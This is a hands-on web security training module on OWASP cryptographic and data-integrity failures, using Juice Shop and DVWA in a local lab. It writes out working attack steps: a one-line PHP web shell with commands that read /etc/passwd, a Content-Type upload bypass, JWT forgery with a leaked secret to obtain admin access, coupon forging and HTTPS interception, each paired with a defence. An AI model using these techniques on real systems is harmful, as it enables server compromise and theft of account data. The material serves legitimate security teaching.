

MODULE 9

A04 Cryptographic Failures & A08 Software & Data Integrity Failures

50-Minute Integrated Practical | OWASP Top 10:2025 | BBC Academy / JBI Training

Tools used: Firefox + ZAP Proxy • OWASP Juice Shop • DVWA • crt.sh • tldr.fail

Activity	Focus	Primary Tool	Time
Activity 1	TLS & Certificate Transparency	Firefox • ZAP • crt.sh • tldr.fail	12 min
Activity 2	Weak Crypto in Juice Shop (Coupons & Hashing)	Juice Shop • ZAP • CyberChef	10 min
Activity 3	Data Integrity Failures — Basket & JWT Tampering	Juice Shop • ZAP	15 min
Activity 4	File Upload Integrity Bypass	DVWA	8 min
Activity 5	Defence Mapping & Wrap-Up	Group discussion	5 min

ACTIVITY 1 — TLS & Certificate Transparency ⌚ 12 min

A04 Cryptographic Failures • ZAP MITM • crt.sh • tldr.fail

WHY IT MATTERS: A04 covers failures in cryptographic transport — using obsolete TLS versions, trusting rogue certificates, or failing to enforce HSTS. In this activity you will use ZAP as a machine-in-the-middle to intercept HTTPS traffic, just as an attacker on a corporate Wi-Fi network could. You will also use real-world Certificate Transparency (CT) logs to understand the trust model underpinning HTTPS.

Step-by-step

1. Open Firefox. Navigate to <https://tldr.fail>
2. Read the deprecation notice for TLS 1.0 and TLS 1.1. Note: both were formally deprecated by RFC 8996 (2021). Identify which browsers and servers the page highlights as vulnerable.
3. Open ZAP Proxy. Confirm the intercept proxy is listening on `localhost:8080`
4. In Firefox, go to Preferences → Privacy & Security → View Certificates → Authorities. Scroll to find the entry "OWASP Zed Attack Proxy Root CA". This is the rogue certificate ZAP installed to enable MITM.
5. With ZAP intercepting, browse to Juice Shop over HTTPS. In ZAP, open the History tab and click on any HTTPS request. Confirm the full decrypted HTTP headers are visible — ZAP is reading all TLS-encrypted traffic.
6. Open a new Firefox tab and navigate to <https://crt.sh>
7. In the search box, enter `bbc.co.uk`
8. Examine the results: note the issuer, Subject Alternative Names (SANs), and validity dates. How many certificates have been issued for `bbc.co.uk` in the past 12 months? Could a compromised or mis-issued certificate be spotted here?

EXPLORER

Navigate to tldr.fail and describe in one sentence what TLS 1.0/1.1 deprecation means for a user visiting a website hosted on a server that only supports TLS 1.0.

PRACTITIONER	In ZAP, identify the cipher suite negotiated for your Juice Shop HTTPS connection. Is it forward-secret? Use ZAP's Sites panel or a request header to find out. Explain why forward secrecy matters if a server's private key is later compromised.
EXPERT	Use crt.sh to search for '%.bbc.co.uk' (wildcard). Find at least one certificate issued by an unexpected or intermediate CA. Explain how Certificate Transparency detects mis-issuance, and what action the domain owner could take using CAA records to prevent it in future.

ACTIVITY 2 — Weak Cryptography: Juice Shop Coupons & Password Hashing

 10 min

A04 Cryptographic Failures · Juice Shop · ZAP · CyberChef

WHY IT MATTERS: A04 is not only about TLS. It also covers weak password hashing (MD5, SHA-1, unsalted hashes) and predictable or poorly implemented application-level crypto. Juice Shop ships with a coupon system that uses a weak, reversible encoding — and stores user passwords as MD5 (which you can crack with Hashcat or CyberChef).

Step-by-step

9. In Juice Shop, register an account (or use an existing one). Go to checkout and enter the coupon code `WMNSDY2019`
10. Observe the discount applied. In ZAP History, find the POST request that submitted the coupon. What is the raw value sent in the request body?
11. The coupon value is encoded. Go to <https://gchq.github.io/CyberChef>
12. In CyberChef, paste the coupon value and apply: "From Base85 (Z85)" then "To Hex". The result reveals a hash value. What hashing algorithm does the length suggest?
13. The Juice Shop source code uses MD5 for coupon signing. Open a terminal in the lab VM and run: `echo -n 'wmnsdy2019' | md5sum`
14. Compare the output to the coupon hash. How confident are you that MD5 is being used? What would a correct implementation use instead (refer to your reference card)?
15. Bonus: look at the Juice Shop login request in ZAP. Does the password travel in plaintext? Is there any client-side hashing? (Check the request body and the page source in DevTools.)

EXPLORER	Apply the WMNSDY2019 coupon and observe the discount. In your own words, explain why encoding (e.g. Base85) is not the same as encryption.
PRACTITIONER	Decode the coupon in CyberChef and identify the hashing algorithm. Explain in one sentence why MD5 is considered broken for password storage, and what algorithm should replace it.
EXPERT	Generate a new valid Juice Shop coupon for today's month and year. The pattern is: Base85(Z85) of MD5(lowercase-month + 4-digit-year) followed by a percentage discount. Test it at checkout. Then write a brief note on how a server-side fix should generate and validate coupons using HMAC-SHA256 with a secret key.

ACTIVITY 3 — Data Integrity Failures: Basket Tampering & JWT Manipulation

 15 min

A08 Software & Data Integrity Failures · Juice Shop · ZAP

WHY IT MATTERS: A08 covers failures where software or data can be tampered with because the server does not verify integrity before trusting inputs. Juice Shop's REST API trusts client-supplied values (product

prices, basket quantities, user IDs) without server-side integrity checks. JWTs with weak secrets or the 'alg:none' vulnerability allow token forgery.

Part A — Basket Price Tampering (8 min)

16. In Juice Shop, add any product to your basket. In ZAP, locate the POST request to `/api/BasketItems`
17. Right-click the request in ZAP and choose 'Open/Resend with Request Editor'. Modify the 'quantity' field to a very large number (e.g. 99) or a negative value (-1). Submit. What happens to your basket total?
18. Now intercept a PUT request to `/api/BasketItems/{id}`
19. In ZAP's editor, change the 'BasketId' to a different value (e.g. another user's basket ID if visible in History). Can you add items to another user's basket?
20. Explain: what integrity check is missing from the server? What HTTP status code should the server return when a user attempts to modify a basket they do not own?

Part B — JWT Algorithm Manipulation (7 min)

21. Log into Juice Shop. In ZAP History, find a request to the `/rest/` API that carries an 'Authorization: Bearer ...' header. Copy the JWT token.
22. Go to <https://jwt.io>
23. Paste the token into the Debugger. Identify: the algorithm (Header.alg), the payload claims (especially 'email' and 'role'), and the signature.
24. The Juice Shop JWT secret is weak. Using the ZAP Fuzzer or a terminal, try: `echo -n "header.payload" | openssl dgst -sha256 -hmac "secret"`
25. The actual Juice Shop secret is exposed in its source code. What does this mean for every token ever signed with it? Try changing the email claim to 'admin@juice-sh.op' and re-signing with the known secret. Can you elevate privileges?

EXPLORER	Change the quantity of a basket item to 99 using ZAP. Record what the total price becomes. Explain in one sentence what server-side check would prevent this.
PRACTITIONER	Decode the Juice Shop JWT at jwt.io . Identify the signing algorithm, issuer, and role claim. Explain why storing the JWT secret in source code is an integrity failure (reference A08 and the supply chain).
EXPERT	Attempt to forge a Juice Shop admin JWT using the known secret. If successful, use it to call <code>GET /api/Users/</code> and retrieve the full user list. Write a two-sentence explanation of how HMAC-signed JWTs with secret rotation and short expiry times prevent this class of attack.

ACTIVITY 4 — File Upload Integrity Bypass ⌚ 8 min

A08 Software & Data Integrity Failures · DVWA

WHY IT MATTERS: Accepting user-uploaded files without verifying their type, content, or integrity is a classic A08 failure. An attacker can upload a PHP web shell disguised as an image, gaining remote code execution. The vulnerability lies in trusting the client's file extension or MIME type rather than inspecting actual file content.

Step-by-step

26. Open Firefox and navigate to DVWA: <http://localhost/dvwa>
27. Log in with credentials admin / password. Go to DVWA Security → set Security Level to Low. Then go to File Upload.
28. Create a simple PHP web shell in the terminal: `echo '<?php echo shell_exec($_GET["cmd"]); ?>' > /tmp/shell.php`

29. Upload shell.php via the DVWA File Upload form. Note the upload path returned on the page (typically /dvwa/hackable/uploads/shell.php).
30. In Firefox, browse to: <http://localhost/dvwa/hackable/uploads/shell.php?cmd=id>
31. You should see the output of the 'id' command — proving remote code execution. Now try: <http://localhost/dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd>
32. Change DVWA Security to Medium and try the same upload. What client-side or server-side control blocks it? Use ZAP to intercept the request and bypass the check by changing the Content-Type header to image/jpeg.

EXPLORER	Upload shell.php on Low security and access it in the browser. Record what the page returns when you pass cmd=whoami. Explain in one sentence why this represents a complete compromise of the web server.
PRACTITIONER	On Medium security, identify the control that blocks the upload and bypass it using ZAP to modify the Content-Type header. Explain why MIME type validation alone is not sufficient and what server-side control (magic bytes / file signature check) would be more effective.
EXPERT	On High security, DVWA checks the file signature. Craft a PHP shell that embeds the PHP payload in the EXIF comment of a real JPEG file using ExifTool. Explain how a Content Disposition: attachment header, combined with a strict Content Security Policy and a separate static file server, would prevent script execution even if a malicious file is stored.

ACTIVITY 5 — Defence Mapping & Wrap-Up ⌚ 5 min

Group discussion — connect attacks to controls

Map each attack to its primary defence

Working with a partner or as a group, complete the table below. Write the primary OWASP-recommended control for each attack you performed.

Attack Performed	OWASP Category	Primary Defence	Juice Shop Evidence
ZAP MITM — intercepted HTTPS	A04 Crypto Failures	HSTS + certificate pinning	TLS intercepted in ZAP History
MD5 coupon hash decoded	A04 Crypto Failures	HMAC-SHA256 with rotating secret key	WMNSDY2019 coupon decoded
Basket price/quantity tampered	A08 Integrity Failures	Server-side price validation, signed basket tokens	PUT /api/BasketItems modified
JWT weak secret forged	A08 Integrity Failures	Long random secret, short expiry, key rotation	Authorization: Bearer tampered
PHP shell uploaded	A08 Integrity Failures	File-signature validation, CSP, static server	DVWA shell.php executed

KEY TAKEAWAY: Every attack in this module exploited one of two root causes: (1) cryptographic primitives chosen by developers rather than by well-maintained libraries (A04), or (2) server-side code that trusted client-supplied values without verification (A08). The fix is the same in both cases: move trust decisions server-side, use standard libraries for all crypto, and sign or verify every piece of data whose integrity matters.

Further Reading & Resources

OWASP Top 10:2025 — A04 Cryptographic Failures & A08 Software and Data Integrity Failures | 50-minute practical | All activities performed within your Linux VM lab unless noted

- OWASP Top 10:2025 — A04 Cryptographic Failures: owasp.org/Top10/A02_2021-Cryptographic_Failures/
- OWASP Top 10:2025 — A08 Software & Data Integrity Failures: owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/
- Certificate Transparency viewer: crt.sh | TLS deprecation: tldr.fail
- OWASP Juice Shop CTF walkthrough (Cryptographic Issues): pwning.owasp-juice.shop/part2/cryptographic-issues
- PortSwigger Web Security Academy — JWT attacks: portswigger.net/web-security/jwt
- Have I Been Pwned — check if an MD5-hashed password appears in a breach: haveibeenpwned.com/Passwords
- RFC 8996 — Deprecating TLS 1.0 and TLS 1.1: rfc-editor.org/rfc/rfc8996